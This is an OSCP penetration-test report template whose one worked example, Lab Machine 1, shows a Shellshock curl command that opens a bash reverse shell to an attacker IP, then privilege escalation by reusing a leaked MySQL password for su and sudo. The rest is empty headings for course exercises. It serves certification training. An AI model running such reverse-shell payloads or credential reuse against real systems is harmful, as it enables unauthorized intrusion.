



July, 2022

**Offensive Security Certified Professional**

**Student ID:**

OS-XXXXXX

**Email:**

XXXX@XXXXXXX.XXX

**Penetrat** **ion Test Report**

**Internal Network Labs and PEN-200 Course Exercises**

No part of this publication, in whole or in part, may be reproduced, copied, transferred or any other right reserved to its copyright owner, including photocopying and all other copying, any transfer or transmission using any network or other means of communication, any broadcast for distant learning, in any form or by any means such as any information storage, transmission or retrieval system, without prior written permission from Offensive Security.

**Disclaimer**

Every lab machine and course exercise presented in this template is merely being used as an example on how things should be organized.

This means that the students must remove the examples and add their own answers to the course exercises and lab machines.

The lab machine 1 refers to “alpha” and was taken from Offensive Security’s Lab Report Template:  
<https://help.offensive-security.com/hc/en-us/articles/360046787731-PEN-200-Reporting-Requirements>

I hope this template turns out to be useful for people that are trying to get the OSCP certification!

Keep trying harder and never give up!

Template made by @DavidAlvesWeb

Index

[1 Objectives 10](#_Toc101743541)

[1.1 Internal Network Labs 10](#_Toc101743542)

[1.2 PEN-200 Course Exercises 10](#_Toc101743543)

[2 Internal Network Lab Report 11](#_Toc101743544)

[2.1 Lab Machine 1 (this is just an example) 11](#_Toc101743545)

[2.1.1 Enumeration 11](#_Toc101743546)

[2.1.2 Initial Access 11](#_Toc101743547)

[2.1.3 Privilege Escalation 11](#_Toc101743548)

[2.1.4 Post-Exploitation 12](#_Toc101743549)

[2.2 Lab Machine 2 13](#_Toc101743550)

[2.2.1 Enumeration 13](#_Toc101743551)

[2.2.2 Initial Access 13](#_Toc101743552)

[2.2.3 Privilege Escalation 13](#_Toc101743553)

[2.2.4 Post-Exploitation 13](#_Toc101743554)

[2.3 Lab Machine 3 14](#_Toc101743555)

[2.3.1 Enumeration 14](#_Toc101743556)

[2.3.2 Initial Access 14](#_Toc101743557)

[2.3.3 Privilege Escalation 14](#_Toc101743558)

[2.3.4 Post-Exploitation 14](#_Toc101743559)

[2.4 Lab Machine 4 15](#_Toc101743560)

[2.4.1 Enumeration 15](#_Toc101743561)

[2.4.2 Initial Access 15](#_Toc101743562)

[2.4.3 Privilege Escalation 15](#_Toc101743563)

[2.4.4 Post-Exploitation 15](#_Toc101743564)

[2.5 Lab Machine 5 16](#_Toc101743565)

[2.5.1 Enumeration 16](#_Toc101743566)

[2.5.2 Initial Access 16](#_Toc101743567)

[2.5.3 Privilege Escalation 16](#_Toc101743568)

[2.5.4 Post-Exploitation 16](#_Toc101743569)

[2.6 Lab Machine 6 17](#_Toc101743570)

[2.6.1 Enumeration 17](#_Toc101743571)

[2.6.2 Initial Access 17](#_Toc101743572)

[2.6.3 Privilege Escalation 17](#_Toc101743573)

[2.6.4 Post-Exploitation 17](#_Toc101743574)

[2.7 Lab Machine 7 18](#_Toc101743575)

[2.7.1 Enumeration 18](#_Toc101743576)

[2.7.2 Initial Access 18](#_Toc101743577)

[2.7.3 Privilege Escalation 18](#_Toc101743578)

[2.7.4 Post-Exploitation 18](#_Toc101743579)

[2.8 Lab Machine 8 19](#_Toc101743580)

[2.8.1 Enumeration 19](#_Toc101743581)

[2.8.2 Initial Access 19](#_Toc101743582)

[2.8.3 Privilege Escalation 19](#_Toc101743583)

[2.8.4 Post-Exploitation 19](#_Toc101743584)

[2.9 Lab Machine 9 20](#_Toc101743585)

[2.9.1 Enumeration 20](#_Toc101743586)

[2.9.2 Initial Access 20](#_Toc101743587)

[2.9.3 Privilege Escalation 20](#_Toc101743588)

[2.9.4 Post-Exploitation 20](#_Toc101743589)

[2.10 Lab Machine 10 21](#_Toc101743590)

[2.10.1 Enumeration 21](#_Toc101743591)

[2.10.2 Initial Access 21](#_Toc101743592)

[2.10.3 Privilege Escalation 21](#_Toc101743593)

[2.10.4 Post-Exploitation 21](#_Toc101743594)

[3 PEN-200 Course Exercises 22](#_Toc101743595)

[1 – General Course Information 22](#_Toc101743596)

[2 - Getting Comfortable with Kali Linux 23](#_Toc101743597)

[2.4.3.4 – Exercises (this is just an example) 23](#_Toc101743598)

[3 – Command Line Fun 24](#_Toc101743599)

[3.1.3.1 – Exercises 24](#_Toc101743600)

[3.2.5.1 – Exercises 24](#_Toc101743601)

[3.3.5.1 – Exercises 24](#_Toc101743602)

[3.5.3.1 – Exercises 24](#_Toc101743603)

[3.6.3.1 – Exercises 24](#_Toc101743604)

[3.7.2.1 – Exercises 24](#_Toc101743605)

[3.8.3.1 – Exercises 24](#_Toc101743606)

[3.9.3.1 – Exercises 24](#_Toc101743607)

[4 – Practical Tools 24](#_Toc101743608)

[4.2.4.1 – Exercises 24](#_Toc101743609)

[4.3.8.1 – Exercises 24](#_Toc101743610)

[4.4.5.1 – Exercises 24](#_Toc101743611)

[4.5.2.1 – Exercises 24](#_Toc101743612)

[5 – Bash Scripting 24](#_Toc101743613)

[5.7.3.1 – Exercises 24](#_Toc101743614)

[6 – Passive Information Gathering 25](#_Toc101743615)

[6.3.1.1 – Exercises 25](#_Toc101743616)

[6.4.1.1 – Exercises 25](#_Toc101743617)

[6.5.1.1 – Exercises 25](#_Toc101743618)

[6.7.1.1 – Exercises 25](#_Toc101743619)

[6.12.1.1 – Exercises 25](#_Toc101743620)

[6.13.2.1 – Exercises 25](#_Toc101743621)

[7 - Active Information Gathering 25](#_Toc101743622)

[7.1.6.3 – Exercises 25](#_Toc101743623)

[7.2.2.9 – Exercises 25](#_Toc101743624)

[7.3.2.1 – Exercises 25](#_Toc101743625)

[7.4.2.1 – Exercises 25](#_Toc101743626)

[7.5.1.1 – Exercises 25](#_Toc101743627)

[7.6.3.6 – Exercises 25](#_Toc101743628)

[8 - Vulnerability Scanning 25](#_Toc101743629)

[8.2.4.1 – Exercises 25](#_Toc101743630)

[8.2.5.1 – Exercises 25](#_Toc101743631)

[8.2.6.1 – Exercises 25](#_Toc101743632)

[8.3.1.1 – Exercises 25](#_Toc101743633)

[9 - Web Application Attacks 26](#_Toc101743634)

[9.3.3.1 – Exercises 26](#_Toc101743635)

[9.5.1.1 – Exercises 26](#_Toc101743636)

[9.6.4.1 – Exercises 26](#_Toc101743637)

[9.7.1.1 – Exercises 26](#_Toc101743638)

[9.8.4.1 – Exercises 26](#_Toc101743639)

[9.8.5.1 – Exercises 26](#_Toc101743640)

[9.8.7.1 – Exercises 26](#_Toc101743641)

[9.9.3.1 – Exercises 26](#_Toc101743642)

[9.9.7.1 – Exercises 26](#_Toc101743643)

[9.9.8.1 – Exercises 26](#_Toc101743644)

[9.9.9.1 – Exercises 26](#_Toc101743645)

[10 - Introduction to Buffer Overflows 26](#_Toc101743646)

[10.2.5 – Exercises 26](#_Toc101743647)

[11 -Windows Buffer Overflows 26](#_Toc101743648)

[11.1.1.1 – Exercises 26](#_Toc101743649)

[11.2.3.1 – Exercises 26](#_Toc101743650)

[11.2.5.1 – Exercises 26](#_Toc101743651)

[11.2.7.1 – Exercises 26](#_Toc101743652)

[11.2.9.1 – Exercises 26](#_Toc101743653)

[11.2.10.1 – Exercises 26](#_Toc101743654)

[11.2.10.2 – Exercises 26](#_Toc101743655)

[12 - Linux Buffer Overflows 27](#_Toc101743656)

[12.2.1.1 – Exercises 27](#_Toc101743657)

[12.3.1.1 – Exercises 27](#_Toc101743658)

[12.5.1.1 – Exercises 27](#_Toc101743659)

[12.6.1.1 – Exercises 27](#_Toc101743660)

[12.7.1.1 – Exercises 27](#_Toc101743661)

[13 - Client-Side Attacks 27](#_Toc101743662)

[13.1.4.1 – Exercises 27](#_Toc101743663)

[13.2.2.1 – Exercises 27](#_Toc101743664)

[13.3.2.1 – Exercises 27](#_Toc101743665)

[13.3.3.1 – Exercises 27](#_Toc101743666)

[13.3.4.1 – Exercises 27](#_Toc101743667)

[14 - Locating Public Exploits 27](#_Toc101743668)

[14.3.1.1 – Exercises 27](#_Toc101743669)

[15 - Fixing Exploits 27](#_Toc101743670)

[15.1.3.1 – Exercises 27](#_Toc101743671)

[15.1.4.1 – Exercises 27](#_Toc101743672)

[15.1.5.1 – Exercises 27](#_Toc101743673)

[15.1.6.1 – Exercises 27](#_Toc101743674)

[15.1.7.1 – Exercises 27](#_Toc101743675)

[15.2.3.1 – Exercises 27](#_Toc101743676)

[15.2.4.1 – Exercises 27](#_Toc101743677)

[16 - File Transfers 28](#_Toc101743678)

[17 - Antivirus Evasion 28](#_Toc101743679)

[17.3.3.2 – Exercises 28](#_Toc101743680)

[17.3.3.4 – Exercises 28](#_Toc101743681)

[18 - Privilege Escalation 28](#_Toc101743682)

[18.1.1.13 – Exercises 28](#_Toc101743683)

[18.1.2.1 – Exercises 28](#_Toc101743684)

[18.2.3.1 – Exercises 28](#_Toc101743685)

[18.2.4.1 – Exercises 28](#_Toc101743686)

[18.3.2.1 – Exercises 28](#_Toc101743687)

[18.3.3.1 – Exercises 28](#_Toc101743688)

[19 - Password Attacks 28](#_Toc101743689)

[19.4.2.1 – Exercises 28](#_Toc101743690)

[20 - Port Redirection and Tunneling 29](#_Toc101743691)

[20.1.1.1 – Exercises 29](#_Toc101743692)

[20.2.1.1 – Exercises 29](#_Toc101743693)

[20.2.2.1 – Exercises 29](#_Toc101743694)

[20.2.3.1 – Exercises 29](#_Toc101743695)

[20.3.1.1 – Exercises 29](#_Toc101743696)

[20.4.1.1 – Exercises 29](#_Toc101743697)

[20.5.1.1 – Exercises 29](#_Toc101743698)

[21 - Active Directory Attacks 29](#_Toc101743699)

[21.2.1.1 – Exercises 29](#_Toc101743700)

[21.2.2.1 – Exercises 29](#_Toc101743701)

[21.2.3.1 – Exercises 29](#_Toc101743702)

[21.2.4.1 – Exercises 29](#_Toc101743703)

[21.2.5.1 – Exercises 29](#_Toc101743704)

[21.3.3.1 – Exercises 29](#_Toc101743705)

[21.3.4.1 – Exercises 29](#_Toc101743706)

[21.3.5.1 – Exercises 29](#_Toc101743707)

[21.4.2.1 – Exercises 29](#_Toc101743708)

[21.4.3.1 – Exercises 29](#_Toc101743709)

[21.4.4.1 – Exercises 29](#_Toc101743710)

[21.5.1.1 – Exercises 29](#_Toc101743711)

[22 - The Metasploit Framework 30](#_Toc101743712)

[22.1.3.1 – Exercises 30](#_Toc101743713)

[22.2.1.1 – Exercises 30](#_Toc101743714)

[22.3.3.1 – Exercises 30](#_Toc101743715)

[22.3.7.1 – Exercises 30](#_Toc101743716)

[22.4.1.1 – Exercises 30](#_Toc101743717)

[22.5.4.1 – Exercises 30](#_Toc101743718)

[22.6.1.1 – Exercises 30](#_Toc101743719)

[23 - Powershell Empire 30](#_Toc101743720)

[23.1.3.1 – Exercises 30](#_Toc101743721)

[23.3.1.1 – Exercises 30](#_Toc101743722)

[24 - Assembling the Pieces: Penetration Test Breakdown 30](#_Toc101743723)

[24.2.2.1 – Exercises 30](#_Toc101743724)

[24.5.1.1 – Exercises 30](#_Toc101743725)

# Objectives

In order to receive ten (10) bonus points, the student has to submit a report that must meet the following requisites:

## Internal Network Labs

The student was tasked with performing an internal penetration test towards Offensive Security Labs. The focus of this test is to perform attacks, similar to those of a hacker and attempt to infiltrate Offensive Security’s internal lab systems. The overall objective was to evaluate the network, identify systems, and exploit flaws while reporting the findings back to Offensive Security.

On this particular task, the student has to report the attack steps for a fully exploited Active Directory set, that being four (4) machines in total, plus six (6) fully compromised unique machines, for a total of ten (10) machines.

The student is also aware that all vulnerabilities exploited in the lab report must be unique. That means that we may not use the same exploit against multiple machines.

## PEN-200 Course Exercises

Moreover, the student also has to finish all PEN-200 course execises, with the exception of those which explicitly state otherwise. That being said, the student is aware that to receive the full ten (10) bonus points, all exercises required to be on the report must be complete and correct.

# Internal Network Lab Report

## Lab Machine 1 (this is just an example)

### Enumeration

[Include your enumeration steps with screenshots as evidence here]

### Initial Access

After inspecting the HTTP headers of the landing page on port 80 we discovered that it is running under Apache/2.4.7 (Ubuntu) and PHP/5.5.9-1ubuntu4.4. We can confirm the presence of a CGI-bin and a possible Shellshock arbitrary code execution vulnerability ([EDB 34900](https://www.exploit-db.com/exploits/34900)) by running a directory brute-forcing attack or using a vulnerability scanner such as Nikto. We can interact with the script directly to receive a reverse shell on our attacker machine:

|  |
| --- |
| curl -H "User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/192.168.119.121/443 0>&1" <http://10.11.1.71/cgi-bin/admin.cgi> |

### Privilege Escalation

We have a shell as **www-data**, therefore, we verify the default Apache directory first for a potential presence of unsecured credentials in the configuration files available for this user. We locate the **config.php** file with the exposed MySQL database password ‘zaq1xsw2cde3’ in the /var/www/html/templates directory.

We can reuse this password on one of the user's accounts present on this machine - **gibson**. After changing our user with the su gibson command, we immediately discovered that this user takes part of the ‘sudo’ group, meaning that the escalation of privileges was possible using the su command once again:

|  |
| --- |
| su gibson |
| sudo su |

### Post-Exploitation

Graphical user interface, text

Description automatically generated

## Lab Machine 2

### Enumeration

### Initial Access

### Privilege Escalation

### Post-Exploitation

## Lab Machine 3

### Enumeration

### Initial Access

### Privilege Escalation

### Post-Exploitation

## Lab Machine 4

### Enumeration

### Initial Access

### Privilege Escalation

### Post-Exploitation

## Lab Machine 5

### Enumeration

### Initial Access

### Privilege Escalation

### Post-Exploitation

## Lab Machine 6

### Enumeration

### Initial Access

### Privilege Escalation

### Post-Exploitation

## Lab Machine 7

### Enumeration

### Initial Access

### Privilege Escalation

### Post-Exploitation

## Lab Machine 8

### Enumeration

### Initial Access

### Privilege Escalation

### Post-Exploitation

## Lab Machine 9

### Enumeration

### Initial Access

### Privilege Escalation

### Post-Exploitation

## Lab Machine 10

### Enumeration

### Initial Access

### Privilege Escalation

### Post-Exploitation

# PEN-200 Course Exercises

## 1 – General Course Information

*There’s no exercises for this specific topic.*

## 2 - Getting Comfortable with Kali Linux

### 2.4.3.4 – Exercises (this is just an example)

**1 – How would you access the manual page for the nmap tool?**

**Answer:** By using the man command.

**Command: man nmap**

**Text

Description automatically generated Evidence:**

## 3 – Command Line Fun

### 3.1.3.1 – Exercises

### 3.2.5.1 – Exercises

### 3.3.5.1 – Exercises

### 3.5.3.1 – Exercises

### 3.6.3.1 – Exercises

### 3.7.2.1 – Exercises

### 3.8.3.1 – Exercises

### 3.9.3.1 – Exercises

## 4 – Practical Tools

### 4.2.4.1 – Exercises

### 4.3.8.1 – Exercises

### 4.4.5.1 – Exercises

### 4.5.2.1 – Exercises

## 5 – Bash Scripting

### 5.7.3.1 – Exercises

## 6 – Passive Information Gathering

### 6.3.1.1 – Exercises

### 6.4.1.1 – Exercises

### 6.5.1.1 – Exercises

### 6.7.1.1 – Exercises

### 6.12.1.1 – Exercises

### 6.13.2.1 – Exercises

## 7 - Active Information Gathering

### 7.1.6.3 – Exercises

### 7.2.2.9 – Exercises

### 7.3.2.1 – Exercises

### 7.4.2.1 – Exercises

### 7.5.1.1 – Exercises

### 7.6.3.6 – Exercises

## 8 - Vulnerability Scanning

### 8.2.4.1 – Exercises

### 8.2.5.1 – Exercises

### 8.2.6.1 – Exercises

### 8.3.1.1 – Exercises

## 9 - Web Application Attacks

### 9.3.3.1 – Exercises

### 9.5.1.1 – Exercises

### 9.6.4.1 – Exercises

### 9.7.1.1 – Exercises

### 9.8.4.1 – Exercises

### 9.8.5.1 – Exercises

### 9.8.7.1 – Exercises

### 9.9.3.1 – Exercises

### 9.9.7.1 – Exercises

### 9.9.8.1 – Exercises

### 9.9.9.1 – Exercises

## 10 - Introduction to Buffer Overflows

### 10.2.5 – Exercises

## 11 -Windows Buffer Overflows

### 11.1.1.1 – Exercises

### 11.2.3.1 – Exercises

### 11.2.5.1 – Exercises

### 11.2.7.1 – Exercises

### 11.2.9.1 – Exercises

### 11.2.10.1 – Exercises

### 11.2.10.2 – Exercises

## 12 - Linux Buffer Overflows

### 12.2.1.1 – Exercises

### 12.3.1.1 – Exercises

### 12.5.1.1 – Exercises

### 12.6.1.1 – Exercises

### 12.7.1.1 – Exercises

## 13 - Client-Side Attacks

### 13.1.4.1 – Exercises

### 13.2.2.1 – Exercises

### 13.3.2.1 – Exercises

### 13.3.3.1 – Exercises

### 13.3.4.1 – Exercises

## 14 - Locating Public Exploits

### 14.3.1.1 – Exercises

## 15 - Fixing Exploits

### 15.1.3.1 – Exercises

### 15.1.4.1 – Exercises

### 15.1.5.1 – Exercises

### 15.1.6.1 – Exercises

### 15.1.7.1 – Exercises

### 15.2.3.1 – Exercises

### 15.2.4.1 – Exercises

## 16 - File Transfers

*No exercises are required for this particular chapter.*

## 17 - Antivirus Evasion

### 17.3.3.2 – Exercises

### 17.3.3.4 – Exercises

## 18 - Privilege Escalation

### 18.1.1.13 – Exercises

### 18.1.2.1 – Exercises

### 18.2.3.1 – Exercises

### 18.2.4.1 – Exercises

### 18.3.2.1 – Exercises

### 18.3.3.1 – Exercises

## 19 - Password Attacks

### 19.4.2.1 – Exercises

## 20 - Port Redirection and Tunneling

### 20.1.1.1 – Exercises

### 20.2.1.1 – Exercises

### 20.2.2.1 – Exercises

### 20.2.3.1 – Exercises

### 20.3.1.1 – Exercises

### 20.4.1.1 – Exercises

### 20.5.1.1 – Exercises

## 21 - Active Directory Attacks

### 21.2.1.1 – Exercises

### 21.2.2.1 – Exercises

### 21.2.3.1 – Exercises

### 21.2.4.1 – Exercises

### 21.2.5.1 – Exercises

### 21.3.3.1 – Exercises

### 21.3.4.1 – Exercises

### 21.3.5.1 – Exercises

### 21.4.2.1 – Exercises

### 21.4.3.1 – Exercises

### 21.4.4.1 – Exercises

### 21.5.1.1 – Exercises

## 22 - The Metasploit Framework

### 22.1.3.1 – Exercises

### 22.2.1.1 – Exercises

### 22.3.3.1 – Exercises

### 22.3.7.1 – Exercises

### 22.4.1.1 – Exercises

### 22.5.4.1 – Exercises

### 22.6.1.1 – Exercises

## 23 - Powershell Empire

### 23.1.3.1 – Exercises

### 23.3.1.1 – Exercises

## 24 - Assembling the Pieces: Penetration Test Breakdown

### 24.2.2.1 – Exercises

### 24.5.1.1 – Exercises